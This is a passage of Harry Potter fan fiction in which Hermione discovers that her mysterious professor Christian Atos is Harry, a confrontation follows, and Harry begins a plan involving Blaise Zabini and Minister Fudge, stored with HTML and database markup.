them, and to her astonishment she noticed that they were several centuries old. The charms had been cast at least nine hundred years ago. But the bad thing was, that the two books were written in an alphabet and language she couldn&#8217;t decipher. Oh, well. She could try to find out what language it was tomorrow. Right now she had to work on her charms essay, that she had to finish before she went to bed. She was planning to turn in early, because she was very tired, because of her lesson with Sirius and McGonagall yesterday. She was starting to get the hang of the Arabian Horse. (She had of course done research, and figured that it really was an Arabian Horse.) Professor McGonagall had decided this form probably would be the easiest, as it was the first that had appeared in the mirror. All she had left now, was to completely transform into the horse, and Hermione had, together with her teachers, been amazed, as she would manage to complete this form within two weeks. McGonagall, Dumbledore and Christian Atos were all extremely pleased, and so was Hermione.</blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote><i>Harry. But yet it wasn&#8217;t Harry. She couldn&#8217;t pinpoint it, but he wasn&#8217;t the Harry she had betrayed two years ago. Yet he was Harry. He smiled at her, and suddenly, she was in his arms. She didn&#8217;t mind. He bent down to kiss her, but just before their lips met, he staggered backwards. He was Christian again, and her Professor was clutching his forehead, gasping in pain. </i></blockquote>\n\n<blockquote><i>A black horse ran through the forest. A green-eyed Professor Atos glared angrily at her. Voldemort smirked. Sirius, Remus and Dumbledore looked concerned. It was Harry they looked at. No. It was her. No. It was Professor Atos. </i></blockquote>\n\n<blockquote><i>Harry looked sad. Guilty</i></blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>Hermione jerked awake. She needed a few seconds before she realised where she was; in her own bed at Hogwarts. She&#8217;d fallen asleep while reading her charms book. She glanced at her watch, and gasped. It was ten PM, she&#8217;d been asleep for almost three hours! It was then the images from the dream started to resurface, making her even more confused than she&#8217;d ever been. It seemed like her dreams thought Professor Atos and Harry were the same person. And on occasion, the Golden Mask too. She&#8217;d only read about him in the Daily Prophet, and knew that he was powerful. But why should she dream about him? </blockquote>\n\n<blockquote>She looked back to her charms book, and stiffened. It was opened on page 132, and the title was <i>&#8216;The Bubble-Head Charm&#8217;</i>. Something tickled at the edge of her memory. Something she should remember&#8230; </blockquote>\n\n<blockquote><i>&#8216;The Bubble-Head charm allows a human to breathe underwater. It creates a bubble of air around the caster\'s head. Unfortunately, it is not very solid, and the smallest touch can destroy it. If you are underwater, you then need to re-cast the charm quickly. It is quite a difficult charm, and needs concentration&#8230;&#8217;</i></blockquote>\n\n<blockquote>The book continued on about some of the smaller details. Something was wrong. But what? Suddenly, a memory came back to Hermione. A memory she&#8217;d dreamt about. </blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote><i>Five minutes later they banged their heads on solid ice. Professor Atos&#8217;s bubble charm was broken, but a new one immediately formed itself around his head. He looked at Hermione. Again, she reached out with the Element, and she could, through the ice, sense where the hole was, and she dragged the Professor in that direction. Thirty seconds later, she could breathe fresh air. </i></blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>In the lake that day. She&#8217;d discovered her Water-Manipulation Talent. Hermione gulped. </blockquote>\n\n<blockquote>He. Hadn&#8217;t. Used. A. Wand.</blockquote>\n\n<blockquote>Another memory. They came flooding in now. </blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote><i>&#8220;Now, Miss Granger, try to release the curse,&#8221; Professor Atos&#8217;s voice reached through her dazed mind. Yeah, right. Release the curse. &#8220;Just try to push it away like you did earlier.&#8221;</i></blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>In Dumbledore&#8217;s office, when he tested her Pectal abilities. How could he know what she&#8217;d done? Or what she had to do?</blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote><i>&#8220;It is called an &#8216;Animagus Mirror&#8217;. When you look into this mirror, you will see what kind of animagus form you have. You don&#8217;t know anything about this, because the dangers of becoming an animagus are so great that we don&#8217;t want to tell the students about this. What if they should stumble across a mirror and try for themselves, without supervision?&#8221; she said, and shot Sirius a glare. Sirius in his turn looked as innocent as ever. Hermione saw Professor Atos raise an eyebrow in amusement.</i></blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>Why should her Professor be amused by that? Sirius being an illegal animagus was not something he was supposed to know much about&#8230;</blockquote>\n\n<blockquote>If not&#8230; If he&#8230;No. That wasn&#8217;t possible. It wasn&#8217;t. It wasn&#8217;t. It wasn&#8217;t possible!!! It couldn&#8217;t be! But it fit.</blockquote>\n\n<blockquote>Her Professor knowing too much about her, about the school. The Golden Mask being powerful. Harry being gone. It fit. But Hermione couldn&#8217;t believe it. It couldn&#8217;t be. It couldn&#8217;t!</blockquote>\n\n<blockquote>But it had to be.</blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>It was almost fourteen hours since Harry collapsed in that classroom, and yet again he was in Professor Dumbledore&#8217;s office, together with Sirius, Remus, and Professor McGonagall. And Dumbledore, of course. Professor McGonagall was currently trying to grasp the fact that her colleague of more than a half year, indeed was her long lost student. Harry tried to resist the urge to laugh, as he&#8217;d never seen her <i>that</i> shocked. Thankfully, he hadn&#8217;t known her very well, as their relationship had always been strictly professional, so he couldn&#8217;t really blame her for believing he was guilty of those charges. Frankly speaking, he only had three persons who really had hurt him, and he&#8217;d already made up with one of them. The only close friends &#8211;well, Dumbledore could hardly be counted as a &#8216;friend&#8217;- he had ever had, were Ron and Hermione. And he knew things about Ron that few could imagine. The only reason he&#8217;d stayed with Ron was that he hoped that he could help Ron out of his self-obsessed and cynical mind. Even though he didn&#8217;t show it, Ron was helplessly in love with himself, and thought of nothing other than himself. But he had changed from the first time Harry met him. He remembered the gigantic chess board in his first year and the Chamber of Secrets. Those were some of the few times Ron had cared for someone beside himself, but it never lasted, and he hid it so well. So telling him was out of the question. He would probably get jealous of Harry&#8217;s powers, before trying to find a way to use Harry to advance himself.</blockquote>\n\n<blockquote>Hermione was another matter. He had&#8230;certain feelings for her. He knew he couldn&#8217;t stay angry with her forever, and he wasn&#8217;t really angry or bitter because of her any longer. Yet he didn&#8217;t have the guts to tell her. He excused it so easily with bitterness and anger, but he knew that wasn&#8217;t true. If they became friends again, and lost the professional student-professor relationship, he would never manage to keep his feelings to himself. And that would be catastrophic.</blockquote>\n\n<blockquote>After he&#8217;d told Professor McGonagall the whole story, they could start to discuss the matter at hand: Voldemort. All were worried when they learned that Voldemort knew where Harry was, but at the moment they had other things to discuss: the Ministry. It was likely that Voldemort would strike the same day as the election was held, and they had to stop him. Harry told them about the &#8216;keyholes&#8217;, which in reality were some muggle radars that he&#8217;d enchanted to pick up special magical activity, mainly the unforgivables and some other nasty curses.&nbsp; They were linked to his mind, with a combination of his Telepathic ability and a binding spell.</blockquote>\n\n<blockquote>&#8220;I can put up some around the Ministry, that will pick up every curse and dangerous charm, and register the magical signature of the caster. Then we&#8217;ll know exactly who&#8217;s attacking, and when they&#8217;re attacking,&#8221; Harry explained.</blockquote>\n\n<blockquote>&#8220;I don&#8217;t know if that would be very effective, Harry,&#8221; Professor Dumbledore said. &#8220;The Ministry has very good defences, and the Aurors would be alerted immediately. However, if he has a way to get the defences down, and keep the Aurors out, it will be almost impossible to stop him. We have to know more of <i>what</i> Voldemort&#8221; &#8211;Professor McGonagall and Sirius cringed- &#8220;is planning to do, before we can effectively hinder him.&#8221;</blockquote>\n\n<blockquote>&#8220;Hmmm&#8230; What does Snape- Severus, know?&#8221; Harry asked. </blockquote>\n\n<blockquote>Dumbledore sighed. &#8220;Very little. He isn&#8217;t even a part of the Inner Circle, though he was before his first downfall. It has probably come to Voldemort&#8217;s&#8221; &#8211;more cringes- &#8220;attention that he isn&#8217;t very trustworthy, but still, Voldemort needs him. He&#8217;s an excellent Potions Master, and is a very skilled dueller. Besides, he&#8217;s inside Hogwarts. The bad thing is, that he never can give us any information, as Voldemort is very secretive. He hardly knows the names of any of the new Death Eaters. It seems Voldemort is trying to prevent anyone from betraying the others.&#8221;</blockquote>\n\n<blockquote>&#8220;Is there any other way to get to know what he wants?&#8221; It was Sirius who asked.</blockquote>\n\n<blockquote>&#8220;Tell the Ministry that they probably will be attacked in the very near future, and get a new password on the anti-apparition shields?&#8221; Harry said, dryly.</blockquote>\n\n<blockquote>&#8220;Harry, anti-apparition shields don&#8217;t have passwords. They&#8217;re bound to a person. Or persons. The only way to get them down is if one of the Bonded - that is what they are called - <i>take</i> it down,&#8221; Sirius said, and Harry glared at his Godfather.</blockquote>\n\n<blockquote>&#8220;I was being a bit sarcastic, Sirius, don&#8217;t you think?&#8221; But then he turned to Dumbledore. &#8220;Who&#8217;s Bonded to the anti-apparition shields? And is there any other way to get them down?&#8221;</blockquote>\n\n<blockquote>&#8220;The identities of the Bonded at the Ministry are top secret Harry. Only the Minister knows. I myself am Bonded to Hogwarts, and those defences can only be taken down by me. However, the defences at the Ministry are more modern, and though stronger, they can not only be taken down by the Bonded, but also can be taken down by killing the Bonded. But for that to work, all of them must be killed, and no one knows who they all are.&#8221;</blockquote>\n\n<blockquote>&#8220;It is enough that one of them is a Death Eater, then.&#8221; Harry said, but Dumbledore shook his head.</blockquote>\n\n<blockquote>&#8220;No, all of the Bonded must agree on taking them down, and those who don&#8217;t agree, have to be killed before the rest of them can do anything.&#8221;</blockquote>\n\n<blockquote>&#8220;So then Voldemort&#8221;-more flinching- &#8220;must know who all of them are?&#8221; Harry said, thoughtfully. Then he sat back in his chair, a grim smile on his lips.</blockquote>\n\n<blockquote>&#8220;Okay, I think I know what to do-&#8220; he broke off in mid-sentence and stared at the door. Then, quickly, he Shapeshifted into Christian Atos. &#8220;Someone is coming,&#8221; he said. After a little while, he added: &#8220;It&#8217;s Hermione.&#8221; </blockquote>\n\n<blockquote>Professor McGonagall frowned disapprovingly. &#8220;What is she doing here at this time of night? It&#8217;s almost eleven PM,&#8221; she asked. </blockquote>\n\n<blockquote>Harry shook his head. &#8220;I don&#8217;t know.&#8221;</blockquote>\n\n<blockquote>&#8220;Come in,&#8221; Dumbledore called, the instant Hermione knocked on the door. She entered, and started to speak.</blockquote>\n\n<blockquote>&#8220;Professor, I need to speak to you about-&#8220; Then she noticed the other people in the room, and Harry saw that she seemed flustered and breathless, as if something had shaken her badly, and then she&#8217;d run a long distance. Her eyes stopped at Harr- Christian, and narrowed. She took a deep breath, and composed herself.</blockquote>\n\n<blockquote>&#8220;Hello, Harry.&#8221;</blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>Harry almost fell off his chair. Literally. His jaw dropped, and so did everyone else\'s. Except Dumbledore, that is. Surprise. The man could probably walk unfazed through an erupting volcano.</blockquote>\n\n<blockquote>Hermione pressed her lips together, so all they could see was a thin line.</blockquote>\n\n<blockquote>&#8220;So I was right then.&#8221; It wasn&#8217;t a question. Harry sighed inwardly in resignation, and Shapeshifted back to Harry. It was Hermione&#8217;s turn to be shocked. Apparently, she hadn&#8217;t <i>expected</i> that she was right. Then she noticed that neither of the others in the room seemed shocked because of Harry. They were shocked because she knew. Anger flared in her eyes.</blockquote>\n\n<blockquote>&#8220;So <i>they</i> know,&#8221; she said, forcing calm. &#8220;And when did you plan on telling me Harry? Tomorrow? Next week? Next month? Next year? Never?&#8221; Her voice rose for every word, and Harry felt every one of them as a punch in his stomach. He didn&#8217;t show it however. He opened his mouth to explain, but Hermione cut him of. She had worked up quite the temper tantrum, and was completely ignoring that she was making a scene in front of three of her teachers and two other adults.</blockquote>\n\n<blockquote>&#8220;Honestly Harry, I hadn&#8217;t expected this of you. You can tell everyone but me! Don&#8217;t I have the right to know? You&#8217;re the Citatio! My tutor! And I was your friend once!&#8221; The last sentence she screamed.</blockquote>\n\n<blockquote>Harry had had enough. Not only did she stand there screaming at him, she also had the whole thing completely wrong! And did she really believe that everything could go back to normal? Just snap her fingers and he would be back? Like nothing had happened?</blockquote>\n\n<blockquote>All feeling of forgiveness and&#8230;other feelings were gone. He walked up to her and fixed his eyes on hers. They too flared with anger.</blockquote>\n\n<blockquote>&#8220;Precisely,&#8221; he whispered, his voice dangerously low. &#8220;You <i>were</i> my friend.&#8221;</blockquote>\n\n<blockquote>Something snapped in Hermione. Not only had she just minutes ago discovered that the man she secretly was in love with indeed was her Professor, but she had also discovered that he hated her. Tears came to her eyes, and hopelessness filled her. But at the same time, she felt the anger flare up again. How dared he?! This wasn&#8217;t the Harry she knew. He would never purposely hurt anyone like he&#8217;d just done. In that moment she hated him.</blockquote>\n\n<blockquote>Harry saw it a second too late. Hermione, confused, depressed and angry, brought up her hand. &#8216;SMACK!&#8217;. A mighty slap sent him stumbling. Shocked, he looked up, seeing Hermione stand there, her hand still raised, the other hand clenched by her side, and tears in her eyes. Immediately, he regretted his harsh words, but before he could say anything, she fled the room.</blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>Hermione ran through the corridors of Hogwarts, not knowing where she was going. Tears streamed down her checks. She knew of course, that what she&#8217;d done, what she&#8217;d <i>believed</i>, was unforgivable. It was impossible for her and Harry to ever go back to what had been, but yet, getting it smacked in her face like she&#8217;d had&#8230; She sniffed loudly. Why, <i>why,</i> had she reacted the way she did? She shouldn&#8217;t have slapped him, but his words hit so hard, and hurt her so badly, crushing all her hopes and all her dreams with four words. &#8216;<i>You </i>were<i> my friend.&#8217;</i> She now knew what had been wrong with her &#8216;Dream Harry&#8217;. He&#8217;d changed during the last two years. He was even more handsome now&#8230; <i>&#8216;Stop it girl! You&#8217;re only hurting yourself!&#8217;</i> But she couldn&#8217;t stop. She couldn&#8217;t deny her feelings, no matter how much she tried.</blockquote>\n\n<blockquote><i>&#8216;Calm down, girl. Go back to your dorm now. Don&#8217;t tell anyone. Don&#8217;t tell anyone.&#8217; </i>It was her instinct. She&#8217;d learned to trust it like her second nature now, and the &#8216;voice&#8217; calmed her. It was comforting and caring, like a cool hand against a feverish forehead. Hermione took a deep breath. She couldn&#8217;t have resisted it if she wanted to, and as she got away from &#8216;Harry thoughts&#8217;, her mind started to ponder over the dreams she&#8217;d been having. It was like her dreams knew things she didn&#8217;t know. Like, she didn&#8217;t know that Harry and Professor Atos were the same person. And the Golden Mask she&#8217;d barely read about in the newspapers. And what were all the other weird things that happened in her dreams? </blockquote>\n\n<blockquote>Hermione sighed as she stepped into her Head Girl quarters.</blockquote>\n\n<blockquote><i>&#8216;Go to sleep, you&#8217;ll feel better in the morning,&#8217; </i>The &#8216;voice&#8217;/instinct told her. So she did.</blockquote>\n\n<blockquote>~*~ </blockquote>\n\n<blockquote><i>&#8220;You know where he is?&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;Yes,&#8221;</i></blockquote>\n\n<blockquote><i>&#8221;Is he ready?&#8221; </i></blockquote>\n\n<blockquote><i>&#8220;No.&#8221; </i></blockquote>\n\n<blockquote><i>&#8220;Then we must wait.&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;Yes.&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;Time is running out.&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;There is still time.&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;They must be gathered.&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;They will be ready in time, my friend.&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;I hope you are right.&#8221;</i></blockquote>\n\n<blockquote>~*~</blockquote>\n\n<blockquote>Professor McGonagall stared at him, shocked. Remus and Sirius just looked sad, and Dumbledore looked&#8230; disappointed? Harry groaned inwardly. He shouldn&#8217;t have said that; he didn&#8217;t really mean it. He&#8217;d just been so angry. When she came barging in, yelling at him, he&#8217;d just snapped. All the confused, bitter and angry feelings he&#8217;d stored because of her during the last two and a half years surfaced in those four words. And then he didn&#8217;t really mean what he said. It was all so frustrating! He just wanted to curl up and cry like a child, letting all his inner demons flow out with the tears. But he wasn&#8217;t a child anymore, and he couldn&#8217;t do such a thing.</blockquote>\n\n<blockquote>He took a deep, unsteady breath, rubbed his sore cheek carefully, and sat back in his chair. He looked calmly at the others.</blockquote>\n\n<blockquote>&#8220;Well, where was I?&#8221; There was a long pause, as the others in the room tried to recover and process what just had happened.&nbsp; Harry used this pause to send a Telepathic message to Hermione, loaded with a good dose of Persuasion, telling her to calm down, go to bed and not tell anyone. He would have to talk with her later. Then he explained his plan to the others, something that resulted in Professor McGonagall raising an eyebrow and asking, rather dryly, how he&#8217;d ended up in Gryffindor. Harry smiled stiffly at that. He didn&#8217;t mention that the Sorting Hat wondered at the same thing.</blockquote>\n\n<blockquote>After the meeting had ended, Harry slowly walked back to his quarters. He was deep in thought, and didn&#8217;t go to bed right away. He couldn&#8217;t sleep tonight; he had too much on his mind. He just wished he could Persuade himself to forget tonight, but he knew that was impossible. In the end he couldn&#8217;t stand the walls of his bedroom any longer. He felt like they were closing in on him.</blockquote>\n\n<blockquote>Irritably, he opened the windows wide open. For a second he stood there, just looking at the starry sky. Then he jumped.</blockquote>\n\n<blockquote>Big, black wings replaced his arms in the middle of his fall, and slowed him down. He glided on them, like a hang-glider, and managed to steer them so he hit the ground just outside the Forbidden Forest. Another few seconds he stood calm, before he abruptly Shifted into a great black horse, and set off into the forest in a wild run.</blockquote>\n\n<blockquote>When Harry was younger, before he knew that he was a wizard, he had often admired horses. He loved to look at them, especially when they were running. He always wished that he could ride one. He wanted to feel the freedom he was sure would come when galloping on a horse. But of course, the Dursleys never let him onto a horse. Dudley rode once, but he managed to fall off the thick, lazy little pony, so his first time also became his last time. So Harry had continued to admire them from afar. Then he came to Hogwarts, and learned about the freedom of flying on a broom, but yet, he never forgot about the horses. In fact, the horse he was now, was the very first form he&#8217;d ever Shapeshifted into, and it had been one of the greatest moments of his life, to feel the strength of the great horse, and controlling it. Running like a horse was as calming as flying, and he used the horse form as often as he could, even though he could be both faster and stronger animals.</blockquote>\n\n<blockquote>Harry could feel his hooves pounding against the ground, as he raced through the forest, trying to free himself from his troubled thoughts. In the end he halted in a clearing in the forest, and lifted his horse&#8217;s head, again looking at the sky. The animals of the forest were startled out of their sleep when the great horse screamed, as horses do, in frustration, anger, pain and sorrow.</blockquote>\n\n<blockquote>====================</blockquote>\n\n<blockquote><b>Disclaimer: </b>All&#8217;s JKR&#8217;s. Plot&#8217;s mine. Christian and Marice is mine. Pectal/Citatio is mine. Go me.</blockquote>\n\n<blockquote>Soooo? Liked it? Hate it? (Over-used&#8230;) Review and tell me all.</blockquote>\n\n<blockquote>Anyway, thanks to everyone who reviewed! Go you all! (Over-used too&#8230;)</blockquote>\n\n<blockquote>Beta-read by the-dreamer, go her. (Also over-used&#8230;)</blockquote> '),
	(234, 10, ' <p><b>Chapter Ten: It Is Supposed To Hurt</b>\n\n</p>\n\n<p>It was dawn when Harry returned to Hogwarts. The sun had just peeked over the horizon when he stood at the edge of the Forbidden Forest, feeling all his worries, problems, confusions and frustrations crash down again. <i>I&#8217;m too young for this! </i>He thought. <i>I&#8217;m only seventeen! I should be one of the students at this school, not one of the teachers!</i> He sighed. He was supposed to prepare for his NEWTs at this time, joke around with his friends, make plans for the future, fall in love, snog in the corridors, get caught out of bounds, etc, etc. Saving the world should not be a part of his schedule at all. And yet, here he was, making plans, trying to save the world, and being so close, but yet so far away from the girl he loved. He had never really understood the saying: &#8216;So close, but yet so far away&#8217;, but now he did. He was a living example. </p>\n\n<p>He shook his head and Shifted back into his Christian form, before he started on his way back to Hogwarts. He didn&#8217;t care if anyone saw him on the road; after all, he was a Professor. If he wanted to spend the night at a pub, getting drunk, no one could stop him, as long as he came to his lessons. </p>\n\n<p>~*~</p>\n\n<p>Hermione didn&#8217;t come to Defence Against the Dark Arts that day. Harry inwardly cringed; when Hermione skipped a lesson, something was really bad off. And he had a suspicion that it wasn&#8217;t a severe headache that kept her from coming. He had to make sure that she came to her private lesson that evening, but anyway, &#8216;Plan Knock-Out Voldemort, Part One&#8217;, was about to be set in action. He wondered if it was fate that had given him seventh year Slytherin and Gryffindor in the last lesson Thursday evening. </p>\n\n<p>&#8220;Ms. Zabini, please stay after the lesson,&#8221; Harry called when the bell went off, and the class started to file out of the door. He rolled his eyes as all the girls in the room sent her envious glares, instead of the usual sympathetic ones. <i>Now I know why all teachers usually are above fifty.</i>\n\n</p>\n\n<p>~*~</p>\n\n<p>Blaise Zabini wondered what was going to happen. She hadn&#8217;t done anything that could get her into trouble, at least she didn&#8217;t think she had. She looked at Professor Atos, waiting, and understood why so many of the girls were swooning over him. It wasn&#8217;t that he was so extraordinarily handsome, (well, okay, perhaps) but he had a certain air, a charisma that attracted you. And now, his ice-blue eyes were looking at her intently.</p>\n\n<p>&#8220;I would like to know why you and some of the other students are spying on me.&#8221; he said simply. Blaise froze.</p>\n\n<p>&#8220;W-what do you mean, Professor?&#8221; she stuttered.</p>\n\n<p>&#8220;I mean just what I said: <i>Why are you and your friends spying on me.</i>&#8221; he said. &#8220;Or stalking me, if you want.&#8221; he added as an afterthought.</p>\n\n<p>&#8220;We- I&#8217;m not stalking you Professor,&#8221; Blaise said, desperately. <i>He knows! He knows! How is it possible?</i></p>\n\n<p>&#8220;Okay,&#8221; the Professor said, casually, leaning back in his chair. &#8220;So you&#8217;re not stalking me. Then you really have to tell me why you, two Ravenclaws, a Gryffindor, a Hufflepuff and two other Slytherins spend so much time around me. You know, standing in the shadows outside my office, listening through the keyhole, following me down the corridors, listening when I&#8217;m talking to the other teachers, trying to gain entrance to staff-meetings &#8211;unnoticed of course-, and so on.&#8221;</p>\n\n<p>Blaise had nothing to say to that. She was white as a sheet, trembling and sweating. <i>I&#8217;m going to end up in prison! I bet he told him! He promised he wouldn&#8217;t tell!</i> Professor Atos noticed how frightened the seventh year Slytherin girl was. His expression softened.</p>\n\n<p>&#8220;Sit down, Blaise,&#8221; he said gently, using her first name, and showing her a chair. &#8220;Don&#8217;t worry. I know your secret, but I&#8217;m not going to use it against you.&#8221;</p>\n\n<p><i>He knows. He knows. He knows. He knows.</i></p>\n\n<p>&#8220;Yes, I know.&#8221; <i>Wha-?</i> &#8220;I also know that you want to get away from it.&#8221; <i>He&#8217;ll use me! Just like-</i> &#8220;I won&#8217;t use you, Blaise. True, I need you to help me, but I assure you, that if you tell me and the Headmaster about your&#8230;&#8217;problems&#8217;, and decide to help us, you shall never fear Azkaban.&#8221; <i>He&#8217;s lying! He&#8217;s lying!</i> &#8220;I&#8217;m not lying, Blaise.&#8221; <i>Perhaps he isn&#8217;t&#8230;</i>\n\n<i>And anyway, it&#8217;s my best chance&#8230;</i></p>\n\n<p>&#8220;What do you want to know?&#8221; she asked, hoarsely, fear evident in her voice.</p>\n\n<p>&#8220;Why you are spying on me, and what you know about Voldemort&#8217;s&#8221; &#8211;Blaise flinched- &#8220;movements,&#8221; he said, pouring her a cup of tea. From where he&#8217;d got that Blaise had no idea. &#8220;And don&#8217;t worry, the room is sound-proof.&#8221;</p>\n\n<p>&#8220;I don&#8217;t know why we&#8217;re spying on you. Our orders are to spy on you, and report everything, <i>absolutely everything,</i> about you. From eye-colour to teaching-method.&#8221; She took a nervous sip of her tea. &#8220;And I-I don&#8217;t know anything about&#8230;<i>His</i>&#8230; movements. Only the inner circle does.&#8221;</p>\n\n<p>&#8220;Uhm&#8230;&#8221; Professor Atos said, thoughtfully. He stirred his own tea, which Blaise hadn&#8217;t even noticed he&#8217;d poured. &#8220;You don&#8217;t trust me, do you,&#8221; he said. It wasn&#8217;t a question. She shook her head. &#8220;Perhaps something I could tell you would make you trust me more?&#8221;</p>\n\n<p>&#8220;Depends on what it is,&#8221; she said, stiffly. </p>\n\n<p>He was still stirring his tea, not looking at her. &#8220;Mmm.&#8221; He looked at her, his eyes intense. &#8220;I need you to find out what Voldemort&#8221; &#8211;Blaise flinched- &#8220;knows about the Bonded at the Ministry.&#8221; </p>\n\n<p>Blaise&#8217;s eyes widened. &#8220;The Bonded? But no one knows who they are! I highly doubt <i>He</i> does, even!&#8221;</p>\n\n<p>&#8220;I believe he does,&#8221; the Professor answered, unfazed.</p>\n\n<p>&#8220;It&#8217;s way too dangerous! I&#8217;ll try to help you, just to get out of this&#8230; mess-&#8220; She looked as if she was about to cry for a moment. &#8220;-but this is way too dangerous! I&#8217;ll get killed!&#8221;</p>\n\n<p>&#8220;Better than the Giant&#8217;s prison.&#8221; </p>\n\n<p>Blaise looked at him, wide eyed.</p>\n\n<p>&#8220;You don&#8217;t trust me. You think I&#8217;ll just use you for my own good, and then throw you to Azkaban afterwards, don&#8217;t you?&#8221; Atos said. Blaise swallowed. That was exactly what she&#8217;d thought. He paused for a minute. &#8220;Blaise,&#8221; he said at least. &#8220;Do you know about the Citatios and Pectals?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; she answered, wondering where he was going. &#8220;It&#8217;s a legend. The Citatio is a very powerful wizard, and the Pectal is a very powerful witch.&#8221;</p>\n\n<p>&#8220;It&#8217;s not a legend.&#8221; He shimmered a second, and a seventeen year old, black-haired, gold-eyed boy, with a lightning-shaped scar on his forehead sat in front of her, casually drinking his tea. &#8220;Definitely not a legend,&#8221; he stated, and though his eyes were glowing gold, Blaise could have sworn that they sparkled mischievously. </p>\n\n<p>She stood so fast that she overturned her chair. &#8220;Potter!&#8221; she cried.</p>\n\n<p>&#8220;And oh,&#8221; Harry said, as if remembering something important, ignoring Blaise&#8217;s cry of surprise. &#8220;Please don&#8217;t tell Ron about this.&#8221;</p>\n\n<p>~*~</p>\n\n<p><i>Okay, here we go.</i></p>\n\n<p>&#8220;Harry, are you sure this is going to work?&#8221; </p>\n\n<p><i>Well, perhaps not&#8230;</i>&#8220;Of course Sirius!&#8221; Harry said, impatiently. &#8220;Don&#8217;t worry!&#8221; Sirius however, didn&#8217;t look so sure.</p>\n\n<p>&#8220;Can&#8217;t we just wait and see if Zabini has something useful for us?&#8221;</p>\n\n<p>&#8220;Sirius, she probably can&#8217;t gain us much information!&#8221; <i>And it isn&#8217;t solely because of Voldemort I want her to co-operate with us either.</i></p>\n\n<p>&#8220;But-&#8220;</p>\n\n<p>&#8220;Sirius!&#8221; Harry exploded. &#8220;Shut- Err. Be quiet please! I need to concentrate! It&#8217;s not like getting past the Apparition wards is easy!&#8221;</p>\n\n<p>&#8220;You&#8217;re going to apparate?&#8221; Sirius asked. &#8220;How&#8217;s that possible?&#8221; </p>\n\n<p>Harry sighed. &#8220;No, I&#8217;m not going to apparate. I&#8217;m going to do something similar, so similar that Apparition wards can be a problem if you don&#8217;t concentrate enough. It also takes more energy than apparition. So please shut up.&#8221; He shuddered a moment, thinking about the time when he&#8217;d been injured, and hadn&#8217;t been able to do it. He&#8217;d had to fly from the edge of the wards to the castle. With that horrid cut it had been pure torture.<i></i></p>\n\n<p>&#8220;If it&#8217;s not apparition, what is it then?&#8221; Sirius asked, confused.</p>\n\n<p>&#8220;I don&#8217;t know if it has a name. I call it &#8216;Wandering&#8217;.&#8221; Harry answered.</p>\n\n<p>&#8220;&#8217;Wandering&#8217;?&#8221; Sirius asked, incredulously. </p>\n\n<p>&#8220;Yes, it&#8217;s a kind of portal that I create, and then I have to walk through it. If I make it invisible, which I&#8217;m going to do, I will, when standing in the middle of it, be invisible myself. Thus, I&#8217;m able to pretend to step out of thin air. Are you finished with mothering me now?&#8221;</p>\n\n<p>&#8220;I&#8217;m not mothering you!&#8221; Sirius said, annoyed.</p>\n\n<p>&#8220;Fine, then don&#8217;t object to me going. Have a nice day, I&#8217;ll be home for dinner.&#8221; His eyes glowed slightly, and he took a step forward&#8230;and disappeared. He managed however, to say: &#8220;See you later, mum!&#8221; before he did so, and at the same time smile annoyingly, sweetly.</p>\n\n<p>&#8220;Little brat,&#8221; Sirius muttered under his breath. &#8220;I hope he&#8217;s okay.&#8221;</p>\n\n<p>~*~</p>\n\n<p><i>Finally, here we go.</i></p>\n\n<p>The door opened, and a short, stout and bald man came in, carrying a handful of papers. He sighed and closed the door behind himself.</p>\n\n<p>&#8220;Good evening, Minister.&#8221; The man spun around. Then he froze. A young man sat in <i>his</i> chair, with his legs propped on <i>his </i>desk, smirking at him.</p>\n\n<p>&#8220;W-wh-who are you?&#8221; the Minister stuttered, taking a step back, fumbling with the door handle. But, unfortunately, it seemed like the handle had&#8230;err&#8230;malfunctioned.</p>\n\n<p>&#8220;My name&#8230;&#8221; the other man said, mysteriously &#8220;is inconsequential.&#8221; There was a small gust of wind &#8211;from where the Minister couldn&#8217;t guess, as every window, as well as the door was closed- and blew a few black strands of hair out of the young man&#8217;s face.</p>\n\n<p>&#8220;Harry Potter!&#8221; Minister Fudge cried, terrified. &#8220;What-what are y-you d-doing here?!&#8221;</p>\n\n<p>&#8220;You have, in your charge, something that belongs to me.&#8221;</p>\n\n<p>&#8220;Let me out! You&#8217;re criminal! I&#8217;ll call the guards!&#8221; Fudge yelled, and raised his wand. Harry frowned. Curious. Every word he&#8217;d said had been positively <i>loaded </i>with Persuasion. It should be able to break through every mind-spell or potion in existence. That much power would have Persuaded <i>Dumbledore</i> to walk off a cliff, and yet, <i>Fudge </i>was screaming and trying to curse him. Not good. He waved his hand irritably, and the Minister&#8217;s wand appeared in his hand. If he should, accidentally, get cursed, Sirius would never let him hear the end of it.</p>\n\n<p>When the Minister discovered who had his wand, he turned and tried to break down the door, so he could get out. Harry sighed. What was wrong here? Quickly, he froze Fudge in mid air, before he began his search. There had to be <i>something</i> wrong. It could be that he&#8217;d completely lost his Persuasion abilities, but he highly doubted that, as that was impossible.</p>\n\n<p>Carefully, he searched for anything that could make the Minister able to resist him, but he didn&#8217;t find anything. He frowned, and started a second search, and&#8230; <i>What was that?</i> He found the &#8216;spot&#8217; &#8211;if you could call it that- and went deeper. A tiny, tiny hint of magic, which he could not recognise, but yet, it felt familiar somehow.</p>\n\n<p>Gently, he &#8216;touched&#8217; it. And felt positively convulsed. A feeling of distrust and disgust <i>radiated</i> from this tiny, tiny &#8216;knot&#8217; of magic. His eyes widened at the power in it: No one but Voldemort could have done this, and if he wasn&#8217;t completely mistaken, it was a Talent. But what kind of Talent, he didn&#8217;t know. He frowned, and tried to destroy the &#8216;knot&#8217;. Then he felt it. He suddenly knew <i>who </i>this magic was directed 